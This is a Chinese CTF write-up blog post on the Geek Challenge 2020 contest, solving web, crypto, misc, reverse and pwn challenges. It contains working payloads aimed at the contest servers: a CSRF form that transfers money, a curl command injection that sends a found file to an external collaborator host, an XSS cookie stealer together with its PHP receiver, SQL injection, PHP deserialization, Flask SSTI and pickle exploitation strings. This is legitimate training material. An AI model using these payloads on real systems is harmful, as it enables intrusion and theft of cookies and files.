三叶草极客大挑战2020 部分题目Writeup

Web

Welcome

打开后状态码405，555555，然后看了一下报头存在请求错误，换成POST请求后，查看到源码

 <?php

error_reporting(0);

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {

header("HTTP/1.1 405 Method Not Allowed");

exit();

} else {

    if (!isset($_POST['roam1']) || !isset($_POST['roam2'])){

        show_source(__FILE__);

    }

    else if ($_POST['roam1'] !== $_POST['roam2'] && sha1($_POST['roam1']) === sha1($_POST['roam2'])){

        phpinfo();  // collect information from phpinfo!

    }

} 

Payload:POST:roam1[]=1&roam2[]=2

去phpinfo查看内容，发现存在f1444aagggg.php页面，打开又没内容，再去报文看看，返回包报头看到flag，为SYC{w31c0m3_t0_5yc_r0@m_php1}

flagshop

一开始不知道怎么做，然后群里管理员说修复了BOT，以为是存储型XSS的考点，然后尝试了几种方法都没作用。然后就去休息了，回来后发现给了hint，说了是CSRF的考点，没接触过，百度学习了一下，上个链接：https://juejin.im/post/6844903689702866952，看了一下应该是从提交报告让BOT转账给我们。

先用Burp构造一个CSRF的Poc，这里需要补充一句：

让他发送提交的作用。这里构造好后要放在VPS上，这里谢谢m3w师傅提供！

<html>

  <!-- CSRF PoC - generated by Burp Suite Professional -->

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="http://173.82.206.142:8005/transfer.php" method="POST" enctype="multipart/form-data">

      <input type="hidden" name="target" value="atao" />

      <input type="hidden" name="money" value="10000" />

      <input type="hidden" name="messages" value="xxx" />

      <input type="submit" value="Submit request" />

    </form>

    <script>document.forms[0].submit(); </script>

  </body>

</html>

有个验证码需要md5加密，写个脚本

#coding: utf-8

import hashlib

s = ''

dic = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'

md5 = hashlib.md5(dic).hexdigest()

for a in dic:

	for b in dic:

		for c in dic:

			for d in dic:

				t = str(a)+str(b)+str(c)+str(d)

				md5 = hashlib.md5(t).hexdigest()

				if md5[0:5] == 'b2156':

					print t

					print md5

提交的报告内容

<script>

    new Image().src = 'Payload的网址';

</script>

过一会儿就转钱过来了，然后购买flag即可，最后flag为SYC{cross_s1t3_r3q43st_4orgery_1s_44nny}

朋友的学妹

打开后提示为查看源码，通过查看获得注释内容，上面还有使用base64解码的字样，即解码注释内容获得flag，为SYC{F1@_4s_h4Lpfullllll}

EZwww

根据提示存在备份文件，尝试发现为www.zip，获得一个假的flag和源码，源码如下

<html>

 <head>

  <title>Lola's website1.0</title>

 </head>

 <body>

 <?php echo '<h1>welcome to my website</h1>'; ?>

 <?php echo '<p>i will never forget to backup my website......</p>'; ?>

 <?php echo '<img src="img/lola.gif" alt="welcome~"/>'; ?>

 </body>

</html>

<?php

$key1 = $_POST['a'];

$key2 = base64_decode('c3ljbDB2ZXI=');

if($key1 === $key2)

{

    //this is a true flag

echo '<p>SYC{xxxxxxxxxxxxxxxxxx}</p>';

}

?>

通过POST请求a变量然后比较base64解码内容获得flag，Payload:POST:a=sycl0ver，获得flag为SYC{Backup_1s_4_good_h4bit_l0l}

EZgit

通过提示知道是使用GitHack获得源文件，但是源文件打开后得到的是flag is toooo old!，根据题目提示应该是版本的问题，通过命令git log查看，发现存在另一个版本有flag的，使用命令git diff 3796466675a1db323e42170def92bee71344a2ee进行对比，获得flag为SYC{I_l0ve_sycl0ver_l0l}

刘壮的黑页

进去后到最下面看到一段代码，GET请求传入username变量，POST请求传入passwd变量，两个变量分别等于admin和syclover获得flag

Payload:

GET:?username=admin

POST:passwd=syclover

flag为SYC{d0_y0u_k0nw_GET?}

我是大黑客

打开后看到存在.bak的文件，然后用蚁剑连接，根目录下存在flag，flag为SYC{1iuzHuang_yyd_G0d!}

ezbypass

打开后如下：

Please use a GET request to pass in the variables a and b, compare them with strcmp and let strcmp return a value of NULL.

Note that a and b cannot be equal.

传一个a和b不相等且strcmp后置空，一个等于数组就可以绕过了

接着是：

OKOK,You got the first step.

Please POST a variable c that is not a number to make it equal to 123

传入c=123，但不是数字，应该是弱比较

Payload:GET:?a=x&b[];POST:c=123e

flag为SYC{php_4s_so_funny}

知X堂的php教程

存在一个目录穿梭和一个读取文件两个页面

分别查看了两个文件，目录穿梭使用的是exec("ls $search_dir", $contents);，不是$contents = scandir($search_dir);，那可能命令执行的漏洞。

但是不知道flag在哪里，但是可以使用find / -name flag配合``反引号带出flag文件的位置

Payload:http://47.94.239.194:8082/listdir.php?dirname=;curl -X POST -F xx=@`find / -name flag` http://aesuim9gty25alcdnjqwy4tj2a80wp.burpcollaborator.net

Myblog

题目给出了提示：1.Do you know the PHP pseudo-protocol? 2.Every 5 minutes remove all upload files.

先找找与伪协议有关的内容，这里从url可以看出来，http://173.82.206.142:8006/index.php?page=home，后面home应该是存在漏洞的，是用伪协议进行读取，http://173.82.206.142:8006/index.php?page=php://filter/read=convert.base64-encode/resource=home

然后就是在登陆的地方获得一下源码，主要是验证的地方

admin/user.php(仅列出主要代码)

<?php

error_reporting(0);

session_start();

$logined = false;

if (isset($_POST['username']) and isset($_POST['password'])){

	if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){  // No one knows my password, including myself

		$logined = true;

		$_SESSION['status'] = $logined;

	}

}

if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){

    echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";

	die();

}

?>

只需要验证对if ($_POST['username'] === "Longlone" and $_POST['password']==$_SESSION['password'])就可以登陆了，username很好实现，但是password和SESSION就不容易，但是置空的话就可以很轻易实现，完成登陆了。

接着从第二点提示可以看出，应该是文件上传的洞，找了一下发现只有上传头像的功能，那应该就是这里了，发现只能上传图片，最后解析成了图片，想到了文件包含，可以是用zip协议这类的，这里将php文件压缩后，更改后缀名，上传文件，然后访问?page=./路径+上传文件名%23压缩包中的文件名，即可。这里#一定要urlcode编码。

带恶人六撞

?id=1'

返回

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1

判断存在sql报错注入

先尝试

?id=1 and (updatexml(1,concat(0x7e,(select database()),0x7e),1))

返回

hacker?

再试试别的报错函数,这里想到了上一届极客大挑战的extractvalue函数，这里用^进行连接

?id=1'^extractvalue(1,concat(0x7e,(select(database()))))%23

返回

XPATH syntax error: '~geek_sql'

然后查看表名

?id=1'^extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='geek_sql')))%23

返回

XPATH syntax error: '~blog,fllllag'

查看列名

?id=1'^extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='fllllag')))%23

返回

XPATH syntax error: '~id,fllllllag'

查看fllllag表中的fllllllag列

?id=1'^extractvalue(1,concat(0x7e,(select group_concat(fllllllag) from fllllag)))%23

返回

XPATH syntax error: '~welcome_to_syclover,longlone_ne'

好像没有回显全部内容，应该是extractvalue函数存在回显长度，配合limit回显每一行的内容

?id=1'^extractvalue(1,concat(0x7e,(select fllllllag from fllllag limit 2,1)))%23

返回

XPATH syntax error: '~SYC{liuzhuang_4s_@_G00d_m@n}'

告白网站

打开后是一个留言网站，测试了一下只有留言功能，想到了XSS，不过存在过滤，手工测试了一下过滤了"."、"%"、"&"、"="，这个验证机制真是要人命，百度了一圈都没有结果。后来看到了JSfuck，这个好像就是为了防止xss中被waf过滤出现的。

new Image().src="http://xxx.xxx.xxx.xxx/atao/test.php?cookie="+document.cookie;

将上面的内容通过jsfuck加密，然后用<script></script>框起来，发送，过一会儿就可以看到flag了。

IP: 101.132.140.4Date: 2020-11-05 3:08:56 Cookie:PHPSESSID=8fc34c9e3b713a9363d7db177468571e; cookie=SYC{This_iS_your_gift!!!!}

本来是想用XSS平台做的，但是一直没成功，感觉是自己太菜了不会用，因为只会用上面给的代码，然后借了Firebasky师傅vps用写了个php，代码如下：

<?php

$cookie = $_GET['cookie'];

$ip = getenv ('REMOTE_ADDR');

$time = date('Y-m-d g:i:s');

$fp = fopen("cookie.txt","a");

fwrite($fp,"IP: ".$ip."Date: ".$time." Cookie:".$cookie."\n");

fclose($fp);

?>

pop chain epic

源码如下：

<?php

class pop

{

    public $aaa;

    public static $bbb = false;

    public function __wakeup()

    {

        //Do you know CVE?

        echo "The class pop should never be serialized.";

        $this->aaa = NULL;

    }

    public function __destruct()

    {

        for ($i=0; $i<2; $i++) {

            if (self::$bbb) {

                $this->aaa[1]($this->aaa[2]);

            } else {

                self::$bbb = call_user_func($this->aaa["object"]);

            }

        }

    }

}

class chain

{

    private $AFKL;

    protected function getAFKL()

    {

        return $this->AFKL;

    }

}

class epic extends chain

{

    public $aaa;

    public static $bbb = false;

    public function __invoke()

    {

        return self::$bbb;

    }

    public function __call($name, $params)

    {

        return $this->aaa->$name($params);

    }

}

if (isset($_GET["code"])) {

    unserialize(base64_decode($_GET["code"]));

} else {

    highlight_file(__FILE__);

}

很有趣的一道题目，被带着一直走，思路没对，一直以为要和下面那个继承类的东西合在一起，然后输出AFKL的值，一开始看到__invoke()魔术方法，感觉很开心，然后测试后发现不行，因为epic类中的bbb也是静态的false，所以调用函数后，pop类中的bbb还是false，所以这里应该是要调用函数，然后取执行$this->aaa[1]($this->aaa[2])，这个也可以从for循环中看出来，因为for循环只做两次，说明第一次去了回调函数，第二次应该不是去回调函数了。有了接下来的一段php代码

<?php

class pop

{

    public $aaa;

    public static $bbb = false;

}

class chain

{

    private $AFKL;

    protected function getAFKL()

    {

        return $this->AFKL;

    }

}

class epic extends chain

{

    public $aaa;

    public static $bbb = false;

}

$a = new pop();

$a->$aaa = array('object'=>'phpinfo',1=>'echo',2=>'getAFKL');

object(pop)#1 (2) {

  ["aaa"]=>

  NULL

  [""]=>

  array(3) {

    ["object"]=>

    string(7) "phpinfo"

    [1]=>

    string(4) "echo"

    [2]=>

    string(7) "getAFKL"

  }

}

这段代码存在一个最致命的错误，就是$a->$aaa，这个本来是想对aaa变量进行赋值的，但是前面写了$，所以这里出来的类会存在两个变量，然后因为我一直没看类的亚子，所以这里卡成一个傻逼。不过以后也要记住对于类中的变量的赋值！！！

<?php

error_reporting(0);

class pop

{

    public $aaa;

    public static $bbb = false;

}

$a = new pop();

$a->aaa = array('object'=>'phpinfo',1=>'system',2=>'cat /flag');

echo base64_encode(str_replace(":1:",":2:",serialize($a)));

X迪的pyp语言

打开网站后是一个登陆框，查看一下源码发现了，访问后获得了网站的源码，如下：

import re

from flask import Flask, render_template_string, request

import templates.templates as tp

app = Flask(__name__)

def isParamLegal(param):

    return (re.search(r'{{.*}}|{%.*%}', param, re.M|re.S) is None)

@app.route('/')

@app.route('/index.php')

def main():

    indexTp = tp.head + tp.index + tp.foot

    return render_template_string(indexTp)

@app.route('/login.php', methods=["POST"])

def login():

    username = request.form.get('username')

    password = request.form.get('password')

    if(isParamLegal(username) and isParamLegal(password)):

        message = "Username:" + username + "&" + "Password:" + password

    else:

        message = "参数不合法"

    loginTmpTp = tp.head + tp.login + tp.foot

    loginTp = loginTmpTp % message

    return render_template_string(loginTp)

@app.route("/hint.php")

def hint():

    with open(__file__, "rb") as f:

        file = f.read()

    return file

if __name__ == '__main__':

    app.run(host="0.0.0.0")

考点知道了是SSTI，但是需要构造，不过存在一个自定义函数，对于单个username或者password进行了限制，不能单个构造出{{ }}或者{% %}这样的内容，但是通过观察，从message下手依旧是可以的，将"{{"和"}}"分别给username和password变量。构造如下：

username = "{{'"

password = "'.__class__}}"

message = "Username:" + username + "&" + "Password:" + password

print message

#返回

Username:{{'&Password:'.__class__}}

#在网站上测试返回

Username:<class 'str'>

#由于没啥过滤很容就可以获得flag了

Payload:

username={{'

password='.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']("cat flag").read()}}

Longlone_Secret1

访问网址，没看出来有啥内容，F12查看源码获得：，GET请求传入name变量后获得源码，如下

from flask import Flask, request

import base64

import pickle

import io

import sys

import secret

app = Flask(__name__)

class YourSecret:

    def __init__(self, name):

        self.name = name

class RestrictedUnpickler(pickle.Unpickler):

    def find_class(self, module, name):

        if module == '__main__': #只允许__main__模块（白名单）

            return getattr(sys.modules['__main__'], name) #返回对象属性值

        raise pickle.UnpicklingError(

            "global '%s.%s' is forbidden" % (module, name))

def restricted_loads(s):

    """Helper function analogous to pickle.loads()."""

    return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/')

def start():

    if request.args.get('name'):

        text = open(__file__, 'r', encoding='utf-8').read()

        return text

    else:

        return "我之前听说Longlone深藏着一个秘密，但是今天他居然跟我说他把这个秘密藏在了一个地方，如果我可以找到的话，他就会给我一些奖励。<br>"\

               "<br>但是他和我说要按他说的规矩来：必须凑够两个人才能开始游戏，那么，你愿意和我一起来吗？<br>"\

               "<br>你说你愿意？那真的太好了，那么，在开始之前，告诉我你的名字吧！<br>"\

               "<!-- Let me GET your name, so we can get started. -->"\

@app.route('/secret', methods=['GET', 'POST'])

def eql():

    if request.method == 'POST':  #POST请求才可以继续做

        try:

            data = base64.b64decode(request.form.get('secret')) #传入的secret变量进行base64解码

            if b'R' in data: #opcode代码中不能存在"R"字符，opcode中经常使用通过R指令码进行命令执行

                return "嗯？还想开挂？小心把你关进神仙服！"

            else:

                ser_data = restricted_loads(data) #进行pickle.loads反序列化

            if type(ser_data) is not YourSecret: #反序列化后的ser_data应该要属于YourSecret类

                return 'Are U sure this is longlone\'s secret?'

            if ser_data.name == YourSecret(secret.name).name: #这里需要反序列化中的name等于secret类中的name值

                return secret.flag #即可获得flag

            else:

                return 'The secret is incorrect!'

        except Exception as e:

            return repr(e) + '<br/>What do U want to do?'

    else:

        return "相信你也看到Longlone给我们的提示了，那么你能猜出他的秘密是什么吗？<br>"

if __name__ == '__main__':

    app.run(host='0.0.0.0', port=5000)

重点代码是/secret路由，分析写在上面了，这里能想到的方式有两种：1)变量赋值，即在传入反序列化字符串时，就让name=secret.name，但是这里多加了一个限制，修改了pickle.Unpickler.find_class()这个函数，使得我们要调用secret.name时会报错：_pickle.UnpicklingError: global 'secret.name' is forbidden，所以这里使用不了这个方法；2)变量覆盖，通过GLOBAL指令引入的变量，可以看作是原变量的引用。当在栈上修改它的值时，也会导致原变量也被修改，这里这主要就是利用了这个方法，原理的话之后会有一篇文章专门总结的。

Payload:secret=gANjX19tYWluX18Kc2VjcmV0Cn0oVm5hbWUKVmFkbWluCnViMGNfX21haW5fXwpZb3VyU2VjcmV0CimBfShYBAAAAG5hbWVYBQAAAGFkbWludWIu

转成opcode编码

\x80\x03c__main__\nsecret\n}(Vname\nVadmin\nub0c__main__\nYourSecret\n)\x81}(X\x04\x00\x00\x00nameX\x05\x00\x00\x00adminub.

简单的Payload:b"c__main__\nsecret\n}(S'name'\nS'xxx'\nub0(i__main__\nYourSecret\n(dS'name'\nS'xxx'\nsb."

使用的方式是变量覆盖，RestrictedUnpickler.find_class方法可以返回对象属性值，其中操作符c可以调用该方法，则有了c__main__\nsecret\n；模块__dict__属性是可以进行修改的，构造一个字典来修改对应键为什么值，构造通过}(S'name'\nS'xxx'\nu完成，然后使用b指令修改__dict__；最后使用0指令将它弹出栈；后接一个YouSecret类转成opcode字符串即可。

Cry

二战情报员刘壮

使用的是摩斯电码，flag为SYC{L1UZHU4NGIZ1Y1}

铠甲与萨满

使用的是凯撒密码，flag为SYC{liuzhuangliuzhuang_bangbangbang}

Misc

一“页”障目

将海报上的字符拼起来即可

壮言壮语

看到了佛曰，为与佛论禅，通过在线网站解码http://www.keyfc.net/bbs/tools/tudoucode.aspx，获得flag为SYC{i_l0ve_Japanese_wife}

Re

No RE no gain

使用IDA打开后，在main函数（不用F5伪代码）中直接看到flag

我真不会写驱动！

应该是非预期了，IDA打开后在sub_140001010函数直接看到flag，flag为SYC{First_Win64_DRIVER}

re00

题目提示了简单的异或，先看看主函数有没有东西，发现了：if ( (char)(buf[i] ^ 0x44) != byte_4060[i] )，异或的点找到了，然后根据上面的内容buf[i]是输入的字符串，所以要去看byte_4060[i]的内容，查看byte_4060获得下面的内容

char byte_4060[32]

.data:0000000000004060 byte_4060       db 17h, 1Dh, 7, 3Fh, 37h, 2Dh, 29h, 34h, 28h, 21h, 1Bh

.data:0000000000004060                                         ; DATA XREF: main+93↑o

.data:0000000000004060                 db 37h, 2Dh, 29h, 34h, 28h, 21h, 1Bh, 3Ch, 2Bh, 3 dup(36h)

.data:0000000000004060                 db 1Bh, 36h, 2Dh, 23h, 2Ch, 30h, 2 dup(7Bh), 39h

//n dup(m)的意思为n个m

将内容和0x44异或获得flag，脚本如下

a =[0x17, 0x1D, 0x7, 0x3F, 0x37, 0x2D, 0x29, 0x34, 0x28, 0x21, 0x1B,0x37, 0x2D, 0x29, 0x34, 0x28, 0x21, 0x1B, 0x3C, 0x2B, 0x36,0x36,0x36,0x1B, 0x36, 0x2D, 0x23, 0x2C, 0x30, 0x7B, 0x7B, 0x39]

b = 0x44

flag = ''

for i in a:

    flag =flag + chr(i ^ b)

print flag

flag为SYC{simple_simple_xorrr_right??}

PWN

数学咋样？

先用nc连接看看，看到如下

------------------------------------------

Can you help me to solve my math problem?

------------------------------------------

I have 20 tests

![0]  num_1 = 180, num_2 = 428

I can't calculate the expression 'num_1 + num_2'.

input your answer:

是一个加法，要循环20次就可以获得flag了，这里可以直接计算20次加法，也可以使用脚本，按照提示应该是要用脚本的。刚好上半年学了一点Pwn，这里用一下。脚本如下

import re

from pwn import *

p = remote('81.69.0.47',1111)

p.recvline()

p.recvline()

p.recvline()

for i in range(0,20):

    put1 = p.recvline()

    put = p.recvline()

    calc1 = re.search(r'num_1 = (.*),',put).group().replace('num_1 = ','').replace(',','')

    calc2 = re.search(r'num_2 = (.*)\n',put).group().replace('num_2 = ','').replace('\n','')

    #print calc1

    #print calc2

    s = str(eval(calc1+'+'+calc2))

    #print s

    p.recvline()

    put2 = p.recvn(18)

    p.sendline(s)

while True:

    strr = p.recvline()

    print strr

    if "SYC" in strr:

        break

Pwntools库的一些常用函数

本地打开：p=process('./filename')

远程打开：p=remote('ip地址',端口)

发送payload

1）p.send(payload)发生payload

2）p.sendline(payload)发送payload，并进行换行（末尾\n）

3）p.sendfter(some_string,payload)接收到some_string后，发送你的payload

接收返回内容

4）p.recvn(N)接受N个字符

5）p.recvline()接收一行输出

6）p.recvline(N)接收N行输出

7）p.recvuntil(some_string)接收到some_string为止

本文作者：erR0Ratao

本文链接：https://www.cnblogs.com/erR0Ratao/p/14023017.html